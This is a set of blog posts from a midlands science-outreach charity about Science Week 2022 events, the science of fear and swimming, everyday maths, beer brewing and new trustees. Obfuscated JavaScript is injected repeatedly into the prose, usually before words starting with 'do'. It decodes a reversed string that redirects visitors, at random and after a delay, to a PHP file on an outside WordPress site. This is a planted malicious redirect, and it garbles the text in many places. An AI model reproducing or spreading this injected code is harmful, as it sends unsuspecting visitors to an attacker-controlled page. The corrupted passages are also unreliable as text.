Pete the Vet and so much more in Offaly this Science Week

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After two years of online delivery due to the impact of Covid 19, the Midlands Science Festival is back this year all across the midlands, with a range of activities for all age groups. Running from November 12th to November 20th, the Midlands Science Festival is back in person with a bang! Highlights include an evening In Tullamore with dogs-with-pete-the-vet-nov2022/” target=”_blank” rel=”noopener”>Ireland’s favourite vet, Pete the Vet, a Discovery Day featuring dinosaurs and an astronomy night in Lough Boora Parklands.

Known to lots of people from national TV and radio, where he regularly answers queries on everything from hamsters to snakes, Pete the Vet explores the science of cats and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dogs in a unique event supported by Zoetis. How much $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do we really know about these furry friends who share our homes and how can science help us understand them more and care for them in a way that keeps them healthy? Come along to meet Pete and learn a lot more about your furry friends.

The Midlands Science Discovery Day is one of the most popular events of the Midlands Science Festival and is open to everyone. This year’s event in association with Integra, held in the Sacred Heart School, Tullamore, offers a chance to experience everything from dinosaurs to Ironman in one location. Suitable for age 5 and up, the day offers the chance for participants to meet reptiles up close and personal, learn about the science of Spiderman, stare up at the night’s sky in Ireland’s largest mobile planetarium, $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hands on science with Anyone 4 Science and learn about dinosaurs with Dale Treadwell.

“The theme of this year’s Science Week is infinite possibilities, and we have a wide variety of activities for all ages. We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions” stressed Jackie Gorman, CEO Midlands Science.

Midlands Science continues its partnership with the National Museum of Ireland and this year the focus is on county Offaly. Workshops will be delivered to schools in Tullamore, followed by an event for families and an event for the general public in the Offaly History Centre in Tullamore.

The Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme. Midlands Science is supported by the Ireland Funds, the Naughton Foundation, the Medtronic Foundation and a range of other corporate and philanthropic supporters. Booking for events is open now and all details are available here. The Midlands Science Festival is supported by Science Foundation Ireland, as part of national Science Week.

Halloween, Frights and Fear!

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It’s the spooky time of year, Halloween and it’s a time for frights and fear. But what is the science of fear?

When you are afraid your brain enters into fight-or-flight mode, a survival mechanism which means your body undergoes a stress response to a perceived threat in your surrounding environment. This response came from our ancestors who had to deal with predators, and it is more common for us now to use this response to deal with mental threats.

This response is managed by our amygdala, the part of the brain that experiences emotion. The amygdala activates this fight-or-flight response without any initiative from you. When that part of your brain senses danger, it signals your brain to pump stress hormones, preparing your body to either fight for survival or to flee to safety.

So, when you are watching a horror movie and get a fright, this triggers your amygdala, and your brain releases a chemical called glutamate. This chemical makes us freeze or jump and it also sends a signal to the hypothalamus, a part of our brain that produces hormones. The hypothalamus triggers our autonomic nervous system. Our blood pressure and heart rate go up and adrenaline and $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopamine are released into the body. Some people enjoy this feeling and research from Vanderbilt University shows our brain chemistry determines if we enjoy these experiences or not. Some people experience pleasure in these situations from the $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopamine, so if you’re one of those people, Halloween is your time!!

 

Swimming…Here’s the Science

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We’ve all grown to love swimming over the last few years, with a huge growth in those swimming all year-round out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors. But have you ever considered how much science there is in swimming? This year’s Midlands Science Festival includes an event exploring the science of swimming and a cold-water swim in Lough Ree, full event details and booking link here.

So…let’s dive into some swimming science!

Humans evolved from sea creatures and yet we couldn’t be less suited to moving in water if we tried. We can’t breathe long under water, we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t float very well and we get tired as we swim. One main thing to understand for the science of swimming is that air and water are different – a gas and a liquid. Water is denser and more viscous. This makes a difference to how we move as the main thing we have to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do on land is work against gravity but in water, buoyancy cancels this out. So the main issue is drag – water resistance.

Newton’s Third Law is also vital to swimming. It says if you apply force to an object, the object applies an equal force to you in the opposite direction – this is action and reaction. It helps us make sense of the water. If you kick backwards against the wall of the pool, you will go forward in the water. If you want to swim forward through water, you have to pull the water back with your hands. If you want to make your body stay up, you need to kick $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down with your legs. It’s all science!

Whether you are a dedicated dipper or a super-enthusiastic open water swimmer, you are welcome to join Midlands Science for a Swim Ireland supervised dip/swim at Lough Ree, Coosan Point, Athlone. Following your dip or swim [no pressure, it’s up to you how far you want to go], hot food and refreshments will be served in the Lough Ree Inn and an interview will take place with Catherine Kelly, author of “Blue Spaces”, the best selling book which explores why we love swimming and water so much. So come along to Coosan Point on Sunday November 13th and dive into the Science of Swimming!

Maths in Everyday Life!

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We can often think maths is something that is just for school or work, but have you ever considered how often you use maths every day and how useful it actually is?

We use maths regularly to figure out how much we will spend this week, what we can afford to save and if we can afford a new car. We prepare budgets based on simple calculations that include adding, subtracting, multiplying and dividing.

If we are exercising and we want to gain muscle or reduce body fat, maths can also help. We set our routines according to our schedule and count the number of repetitions we need to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do while exercising. As well as adding and subtracting as above, maths used for exercising also involves logical and analogical reasoning.

Release your inner Marie Kon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do with maths and interior design! A lot of interior design involves maths – calculating area, measuring furniture and of course the all-important budget. Doing a little interior design work at home means you are using geometry, ratios and percentages, mathematical operations and calculus and statistics.

The weekly shop involves a lot of maths – trying to figure out if the deals and percentages off are actually good value. To see if you are getting good value, you need to estimate the quantity you are buying, the weight, the price per unit and the discount. All of this involves mathematical operations, ratio and percentage and algebra.

Maths can also be pretty tasty as you use it all the time in the kitchen. If you are cooking or baking, you need to follow the steps and use the quantities advised and proportions of different ingredients and use the temperature advised. This is all maths and it’s a great way to introduce children to the practical application of maths. Cooking and baking involves algorithms, operations, ratios and proportions.

Managing time is something we all have to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do and it can be a hard job. We sometimes have several things we need to get $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done in a limited time and we are racing against the clock. Maths helps us to understand the management of time and also to value it. It involves logical reasoning, operations and reasoning.

Driving also involves maths as you need to think about speed, time and distance. We can think about what the speed should be to travel a certain distance and how long it will take. We also think about increasing or decreasing speed, turning left or right and many other things. This involves logical reasoning, numerical reasoning and operations.

We all use computers fairly regularly now and it’s interesting to think about how they work. There’s a lot of maths involved. Different computer applications like powerpoint, word and excel, are impossible to run without maths and involve computation, algorithms, coding and cryptography.

Going on holidays, you also need to think about maths! It involves budgeting, the number of days and the destinations and travel times. This means our holiday involve budgeting, algebra, calculus and operations.

Spending some time on the Play Station or X Box, there’s lots of maths involve as players learn how to follow steps and techniques and the engineering of games involves game theory, probability, computation, logical reasoning, geometry, algebra, calculus and statistics. Also, one of gaming’s favourite heroine’s Lara Croft wouldn’t exist with maths, as the quarternions discovered by William Rowan Hamilton in the 1800’s are the basis of her design and many special effects in games and movies.

Wondering about the weather and whether to pack up your umbrella or sunglasses, think about how maths helps with weather forecasts. All forecasts are based on a concept in maths called probability and also the use of statistics.

Thinking about music and dancing and how much children enjoy both these activities, there’s also a chance to think about maths. As children sing and learn dance steps, they are learning co-ordination, which is a series of mathematical steps, which we call operations.

Problem-solving skills is one of the most important skills which we can have in life. Such skills help us in taking correct decisions in life, let it be professional or personal. This is all $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}done when the person has the correct knowledge of basic mathematical concepts such as logical reasoning, mathematical reasoning and operations.

Hop to It – The Science of Beer!

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The Midlands Science Festival is delighted to present a unique event for adult attendees this year exploring the science of brewing and beer. This event will take place in Dead Centre Brewing in Athlone (see images below). People have been brewing beer for thousands of years. Beer became a staple in the Middle Ages, when people began to live in cities where close quarters and poor sanitation made clean water difficult to obtain. The alcohol in beer made it safer to drink than water. Thankfully times have changed since then!

The evening will explore the complex biochemistry that makes a perfect pint and also the history of brewing. A complex series of biochemical reactions must take place to convert barley to fermentable sugars, and to allow yeast to live and multiply, converting those sugars to alcohol. Commercial breweries have to ensure every beer tastes the same, so they have very detailed processes and complicated equipment. Homebrewers $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t usually worry about this as much and so it’s likely that they rarely make the same beer twice.

Come along to the unique venue of Dead Centre Brewing and hear all about the science of beer and brewing – hop to it!

For full details and booking, click here!

 

Dead Centre Brewing Athlone - Beer Cans Dead Centre Brewing Athlone - Building Lobby Dead Centre Brewing Athlone - Pulling a Pint Dead Centre Brewing Athlone - Venue

 

 

 

Midlands Science appoints two new Voluntary Trustees

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Midlands Science, the not for profit which promotes science, technology, education and maths education and skills in the midlands, has appointed two new voluntary trustees to its board of trustees. The new trustees are Dr Helena Bonner of the Royal College of Surgeons in Ireland and Anne Naughton of the Technological University of the Shannon. Commenting on these appointments Chairperson of Midlands Science Dr Craig Slattery said “We are delighted to welcome Dr Helena Bonner and Anne Naughton to the board of Midlands Science. They are both highly committed to promoting science outreach and education and to the impact this work can make in the midlands. We look forward to working with them in the future. We also wish to acknowledge the dedicated service of Paul Carroll who has concluded as a voluntary trustee with us. He had a huge commitment to skills development and education, and we are hugely grateful to him for the impactful contribution he brought to the organisation.”

In the past year, Midlands Science has developed a new strategy to grow the impact of its work in the midlands region and received an award to support its work from the Medtronic Foundation. The expansion of its work to include not just outreach but sharing practice with others in the wider science outreach community is a key part of this strategy and was evidenced by a recent workshop in Offaly with members of the Science Capital Research Team from University College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don and King’s College Lon $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don.

Jackie Gorman, CEO of Midlands Science commented “The strategic growth of Midlands Science and the impact of its work is deeply informed by the expert leadership and oversight provided by our voluntary trustees and associated processes. We welcome people from a wide range of backgrounds to engage with our work and are committed to science making a difference in the midlands. The role of trustees in this work is vital and for their enthusiasm and engagement is something that we are very grateful for.”

Midlands Science is running a range of free activities in the coming month for Science Week 2022, full details available here.

Science Week is Coming!!

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Science Week is coming, and we are getting ready!! This year, we are delighted to be back in person and look forward to seeing you all again. We have a huge range of activities for all age groups. We will be kicking off with our Discovery Day in association with Integra in Sacred Heart Secondary School, Tullamore on November 12th. This family friendly event will include dinosaurs, superhero science, chemistry experiments and much more. The week will include workshops for primary and secondary schools and a range of activities for all age groups. These include an event exploring the science of pets with Pete the Vet, in association with Zoetis. Have a question about your furry friend, come along and ask Ireland’s most popular vet a question!

We have a great event for a Friday night in Dead Centre Brewing in Athlone, exploring the science of beer and brewing. Feel like a swim in November? Join us at Lough Ree on Sunday November 13th, for a swim with Swim Ireland and a talk on the science of swimming with some hot refreshments after your swim. Dr Andrew Magee will be talking about the science of resilience and Brian Gibson of Forensic Science Ireland will be talking about the science of solving crime. There is literally something for every age group!! Our online event exploring the science of F1 Racing includes the chance to win a day in the pit with a race team at Mondello Park. Ans there’s much more to come, so keep an eye on our site for updates and register as soon as you can. All events are free of charge, the Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme.

For full Science Week event details and booking information, click here!